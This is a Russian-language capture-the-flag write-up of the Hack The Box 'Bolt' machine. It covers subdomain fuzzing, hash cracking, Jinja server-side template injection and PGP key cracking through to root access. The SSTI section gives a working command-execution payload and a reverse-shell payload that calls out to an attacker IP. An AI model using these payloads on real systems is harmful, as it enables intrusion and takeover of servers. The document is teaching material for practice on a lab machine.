Хакер - HTB Bolt. Эксплуатируем шаблоны в Python и разбираемся с PGP

Хакер - HTB Bolt. Эксплуатируем шаблоны в Python и разбираемся с PGP

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка. Сканирование портов
  • Точка входа
  • Точка опоры
  • SSTI
  • Продвижение
  • Локальное повышение привилегий

В этой статье я покажу, как находить скры­тый кон­тент на сай­тах через раз­ные спо­собы перебо­ра, затем получим управле­ние хос­том бла­года­ря уяз­вимос­ти сер­верных шаб­лонов (SSTI), а для повыше­ния при­виле­гий рас­шифру­ем при­ват­ные сооб­щения поль­зовате­лей, защищен­ные при помощи PGP.

Уп­ражнять­ся мы будем на машине Bolt с пло­щад­ки Hack The Box. Ее уро­вень слож­ности обоз­начен как сред­ний.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.114 bolt.htb

А сле­дом запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

На­ходим три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.2p1;
  • 80 и 443 — веб‑сер­вер Nginx 1.18.0;

Пос­коль­ку мы запус­кали Nmap со скрип­тами, то сра­зу получа­ем еще один домен, ука­зан­ный в поле commonName. Добав­ляем его в /etc/hosts.

10.10.11.114 bolt.htb passbolt.bolt.htb

По­лучив новое домен­ное имя, сра­зу прос­мотрим, что нам может дать веб.

Глав­ная стра­ница сай­та

На сай­те находим фор­мы авто­риза­ции и регис­тра­ции.

Фор­ма авто­риза­ции поль­зовате­лей

Пы­таем­ся зарегис­три­ровать­ся, что­бы получить боль­ше воз­можнос­тей на сай­те, и видим ошиб­ку.

Ошиб­ка при авто­риза­ции

Про­дол­жаем изу­чать сайт. Ведь мно­го откры­тых ссы­лок.

На­вига­ция по сай­ту

Од­новре­мен­но мож­но пос­тавить перебор скры­тых катало­гов.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

За­пус­каем перебор:

ffuf -u http://bolt.htb/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt

Ре­зуль­тат ска­ниро­вания катало­гов

Так как мы уже зна­ем один под­домен, сто­ит про­верить, сущес­тву­ют ли еще какие‑нибудь. Для это­го исполь­зуем тот же ffuf, но в качес­тве мес­та для перебо­ра ука­зыва­ем HTTP-заголо­вок Host.

ffuf -u http://bolt.htb/ -H 'Host: FUZZ.bolt.htb' -t 256 -w subdomains-top1million-110000.txt

В выводе получа­ем поч­ти все сло­ва из спис­ка, так как все они вер­нут код отве­та 200. Поэто­му сто­ит ука­зать допол­нитель­ную филь­тра­цию, нап­ример по раз­меру отве­та (опция -fs).

ffuf -u http://bolt.htb/ -H 'Host: FUZZ.bolt.htb' -t 256 -w subdomains-top1million-110000.txt -fs 30347

Ре­зуль­тат ска­ниро­вания под­доменов

Най­ден­ные име­на добав­ляем в файл /etc/hosts.

10.10.11.114 bolt.htb passbolt.bolt.htb mail.bolt.htb demo.bolt.htb

По адре­су demo.bolt.htb получа­ем такой же сайт, что и ранее. Прав­да, в нем дру­гая фор­ма регис­тра­ции. Она тре­бует код инвай­та вмес­то пов­тора пароля.

Фор­ма регис­тра­ции demo.bolt.htb
Ошиб­ка при вво­де невер­ного инвай­та

А на вто­ром сай­те нас встре­тит фор­ма авто­риза­ции веб‑вер­сии поч­тового кли­ента.

Фор­ма авто­риза­ции mail.bolt.htb

ТОЧКА ВХОДА

Все, что мог­ли, мы уже наш­ли, поэто­му перей­дем к ана­лизу исходных кодов. Архив пред­став­ляет собой репози­торий, содер­жащий вло­жен­ные фай­лы .tar.

Струк­тура репози­тория исходных кодов

В одном из них есть файл базы дан­ных — db.sqlite3.

Со­дер­жимое архи­ва layer.tar

Рас­паку­ем его и прос­мотрим содер­жимое базы.

sqlite3 db.sqlite3

За­тем прос­матри­ваем таб­лицы коман­дой .table и получа­ем дан­ные, так как таб­лица там все­го одна — User.

SELECT * FROM User;

По­луче­ние дан­ных из фай­ла базы дан­ных

Так из фай­ла базы дан­ных получа­ем хеш пароля адми­нис­тра­тора сай­та. Для перебо­ра нуж­но узнать алго­ритм и соот­ветс­тву­ющий ему режим перебо­ра. В этом нам поможет hashcat. Поищем в справ­ке этой прог­раммы по пре­фик­су хеша \$1\$.

hashcat --example | grep '\$1\$' -A2 -B2

По­иск режима перебо­ра для най­ден­ного хеша

Это MD5. Оста­лось пос­тавить хеш на брут (параметр -a) по зна­мени­тому сло­варю rockyou. Ука­жем режим в парамет­ре -m.

hashcat -a 0 -m 500 hash.txt ~/tmp/tools/rockyou.txt

Ре­зуль­тат перебо­ра хеша

Очень лег­ко уда­лось най­ти пароль, с которым получа­ется авто­ризо­вать­ся на сай­те. Там нас встре­чает панель управле­ния.

Па­нель управле­ния

Од­нако никаких новых воз­можнос­тей мы не получа­ем. Тог­да я решил вер­нуть­ся к демовер­сии сай­та, где для регис­тра­ции тре­бует­ся инвайт. Поп­робу­ем поис­кать его в исходни­ках по сло­вам invite и code.

grep -iR 'invite\|code' ./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/* 2>/dev/null

По­иск слов invite и code

На­ходим нуж­ную пос­ледова­тель­ность, с которой получа­ется зарегис­три­ровать сво­его юзе­ра.

Па­нель управле­ния соз­данно­го поль­зовате­ля

Но что еще важ­нее, мы получа­ем и свой поч­товый ящик. Авто­ризо­вать­ся в нем мож­но с теми же учет­ными дан­ными, которые мы исполь­зовали во вре­мя регис­тра­ции на сай­те.

Поч­товый ящик соз­данно­го поль­зовате­ля

ТОЧКА ОПОРЫ

На сай­те мож­но най­ти спо­соб вза­имо­дей­ство­вать с поч­той через механизм верифи­кации. Так как вве­ден­ные дан­ные обра­баты­вают­ся, это мес­то для тес­та.

Фор­ма отправ­ки сооб­щения

От­прав­ляем тес­товое сооб­щение и смот­рим поч­товый ящик. Там обна­ружим вхо­дящее сооб­щение.

Вхо­дящие сооб­щения поль­зовате­ля

Ес­ли перей­ти по ссыл­ке, получим еще одно сооб­щение, в котором будет отоб­ражать­ся ука­зан­ное при пер­вой отправ­ке имя.

Со­обще­ние с под­твержде­нием

Так как сайт написан на Python и про­исхо­дит отоб­ражение вве­ден­ных дан­ных, то пер­вая идея — про­верить SSTI.

SSTI

Server-Side Template Injection (SSTI) — это механизм ата­ки, при котором зло­умыш­ленник внед­ряет в шаб­лон вре­донос­ный код. Шаб­лоны нуж­ны веб‑раз­работ­чикам, что­бы мож­но было нас­тра­ивать внеш­ний вид сай­та толь­ко в одном мес­те и затем не копиро­вать вруч­ную. По сути, шаб­лон — это документ HTML, где в нуж­ных мес­тах отме­чены перемен­ные и коман­ды, которые при генера­ции ито­говой стра­ницы будут замене­ны дан­ными. В том чис­ле это могут быть и дан­ные, получен­ные от посети­теля сай­та.

Ата­ка зат­рагива­ет момент, ког­да прис­ланная информа­ция объ­еди­няет­ся с шаб­лоном. Зло­умыш­ленник фор­миру­ет стро­ку таким обра­зом, что­бы она не прос­то под­ста­вилась в шаб­лон, но была интер­пре­тиро­вана как код. Если это воз­можно, то он добавит свои дирек­тивы, с помощью которых выпол­нит эксфиль­тра­цию дан­ных или даже зах­ват веб‑сер­вера.

Итак, нам нуж­но передать стро­ку, которая будет содер­жать встав­ки, подоб­ные тем, что исполь­зуют­ся в шаб­лоне. Пос­коль­ку мы зна­ем, что име­ем дело с Python, в пер­вую оче­редь поп­робу­ем исполь­зовать самый популяр­ный син­таксис его шаб­лонов (он исполь­зует­ся, к при­меру, в Jinja).

От­пра­вим сооб­щения вро­де {{7*7}} или {{7*'7'}} в надеж­де получить резуль­тат умно­жения.

От­прав­ка сооб­щения с тес­товой пос­ледова­тель­ностью
Со­обще­ние с под­твержде­нием

Ви­дим, что дей­ствие выпол­нено и на стра­нице отоб­ража­ется его резуль­тат. А зна­чит, мы под­твер­дили наличие SSTI! Давай сра­зу поп­робу­ем выпол­нить коман­ду, к при­меру id. Для это­го исполь­зуем вот такую наг­рузку:

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Со­обще­ние с под­твержде­нием

И вмес­то име­ни поль­зовате­ля обна­ружи­ваем резуль­тат выпол­нения коман­ды.

Сле­дующий шаг — заг­рузить реверс‑шелл. Выг­лядеть он будет вот так:

{{config.__class__.__init__.__globals__['os'].popen('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.48/80 0>&1"').read()}}

Справка: реверс-шелл

Об­ратный шелл — это под­клю­чение, которое акти­виру­ет ата­куемая машина, а мы при­нима­ем и таким обра­зом под­клю­чаем­ся к ней, что­бы выпол­нять коман­ды от лица поль­зовате­ля, который запус­тил шелл. Для при­ема соеди­нения необ­ходимо соз­дать на локаль­ной машине listener, то есть «слу­шатель».

В таких слу­чаях при­годит­ся rlwrap — readline-обо­лоч­ка, которая в чис­ле про­чего поз­воля­ет поль­зовать­ся исто­рией команд. Она обыч­но дос­тупна в репози­тории дис­три­бути­ва.

В качес­тве самого лис­тенера при этом мож­но исполь­зовать широко извес­тный netcat.

Те­перь акти­виру­ем лис­тенер, и мы в сис­теме!

Ре­верс‑шелл

ПРОДВИЖЕНИЕ

Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам необ­ходимо соб­рать информа­цию, которая может помочь с повыше­нием при­виле­гий. Сде­лаем это при помощи скрип­тов PEASS.

Справка: скрипты PEASS для Linux

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Что­бы вос­поль­зовать­ся скрип­том, его нуж­но сна­чала заг­рузить на локаль­ный хост.

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

Те­перь нуж­но заг­рузить его на уда­лен­ный хост. В дирек­тории со скрип­том на локаль­ной машине запус­тим с помощью Python прос­той веб‑сер­вер. Пос­ле выпол­нения этой коман­ды веб‑сер­вер будет прос­лушивать порт 8000.

python3 -m http.server

А теперь с помощью того же wget на целевой машине заг­рузим скрипт с локаль­ного хос­та на уда­лен­ный. Пос­ле заг­рузки необ­ходимо дать фай­лу пра­во на выпол­нение и выпол­нить скрипт.

wget http://[ip_локального_хоста]:8000/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

По­луча­ем огромный мас­сив информа­ции.

Прос­лушива­емые пор­ты
Дос­тупные для записи фай­лы
Най­ден­ные в сис­теме сло­ва passw

Сре­ди это­го нам важ­но сле­дующее:

  • спи­сок прос­лушива­емых пор­тов. Отме­тим пор­ты 3306 (служ­ба MySQL) и 25 (поч­товый сер­вер);
  • спи­сок фай­лов, дос­тупных нам для записи;
  • най­ден­ные в сис­теме подс­тро­ки passw — тут отме­тим целый пароль из фай­ла /etc/passbolt/passbolt.php.

Да­вай прос­мотрим все содер­жимое это­го фай­ла.

Со­дер­жимое фай­ла passbolt.php

Тут сох­ранены нас­трой­ки для под­клю­чения к базе дан­ных, а в базе дан­ных могут най­тись и какие‑нибудь кри­тичес­кие дан­ные, нап­ример пароли. Сна­чала акти­виру­ем PTY-обо­лоч­ку с помощью Python:

python3 -c "import pty;pty.spawn('/bin/bash')"

А теперь под­клю­чим­ся и прос­мотрим сущес­тву­ющие базы:

mysql -h 127.0.0.1 -u passbolt -p

show databases;

Ба­зы дан­ных

Так вой­дем в базу passboltdb и получим спи­сок таб­лиц.

use passboltdb;

show tables;

Спи­сок таб­лиц в базе passboltdb

Нас могут инте­ресо­вать две таб­лицы: users и secrets.

select * from users;

Со­дер­жимое таб­лицы users

select * from secrets;

Со­дер­жимое таб­лицы secrets

В ито­ге паролей не находим, но зато получа­ем какое‑то сек­ретное сооб­щение, зашиф­рован­ное при помощи PGP. Сопос­тавив иден­тифика­торы из двух таб­лиц, мож­но опре­делить, что оно име­ет отно­шение к поль­зовате­лю eddie. Сох­раним его — оно может еще при­годить­ся.

В базе боль­ше ничего инте­рес­ного нет, но у нас еще остался пароль от самой базы! Все получен­ные име­на поль­зовате­лей и пароли обя­затель­но нуж­но про­верять на всех дос­тупных сер­висах в раз­ных ком­бинаци­ях. И нам повез­ло — этот пароль подошел для дос­тупа по SSH от име­ни уже зна­комо­го нам Эдди.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Так как есть учет­ные дан­ные нового поль­зовате­ля, я решил про­читать его поч­ту. Сде­лать это через веб‑кли­ент у меня не выш­ло, но можем читать сооб­щения пря­мо в сис­теме. Для это­го перей­дем в каталог /var/mail и про­чита­ем файл соот­ветс­тву­юще­го поль­зовате­ля.

Со­дер­жимое фай­ла eddie

В сооб­щении упо­мина­ется хра­нили­ще пароля и рас­ширение для бра­узе­ра. Так­же ста­новит­ся ясно, что ранее мы получи­ли не сооб­щение, а зашиф­рован­ный пуб­личным клю­чом пароль.

На хос­те уста­нов­лен Google Chrome с каким‑то рас­ширени­ем. Оно‑то нас и инте­ресу­ет. Давай заг­лянем в его логи.

Со­дер­жимое катало­га .config

На­ходим нес­коль­ко пар клю­чей PGP. Нас инте­ресу­ют те, что отно­сят­ся к поч­те eddie.

Со­дер­жимое лога рас­ширения Chrome

Мы получи­ли сек­ретный ключ PGP, зна­чит, можем поб­рутить пароль. Но для это­го сна­чала при­дет­ся перевес­ти ключ в нуж­ный фор­мат. В ком­плек­те со зна­мени­тым John the Ripper, который нам необ­ходим для бру­та хеша, пос­тавля­ется мно­го скрип­тов‑кон­верте­ров. В дан­ном слу­чае нам нужен /usr/sbin/pgp2john.

По­луче­ние хеша пароля сек­ретно­го клю­ча PGP

Пос­ле пре­обра­зова­ния переда­ем хеш «Джо­ну».

john pgp1.hash --wordlist=rockyou.txt

Па­роль для при­ват­ного клю­ча PGP

Те­перь импорти­руем оба клю­ча в сис­тему.

gpg --batch --import pgp1.key

gpg --batch --import pgp2.key

Им­порти­рова­ние клю­чей

И рас­шифру­ем сооб­щение (пароль), который мы получи­ли из базы ранее.

gpg --pinentry-mode loopback --passphrase merrychristmas -d message.txt

По­луче­ние пароля поль­зовате­ля

С этим паролем под­клю­чаем­ся к SSH от име­ни рута.

Флаг рута

Ма­шина зах­вачена, у нас есть над ней пол­ный кон­троль!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei

Report Page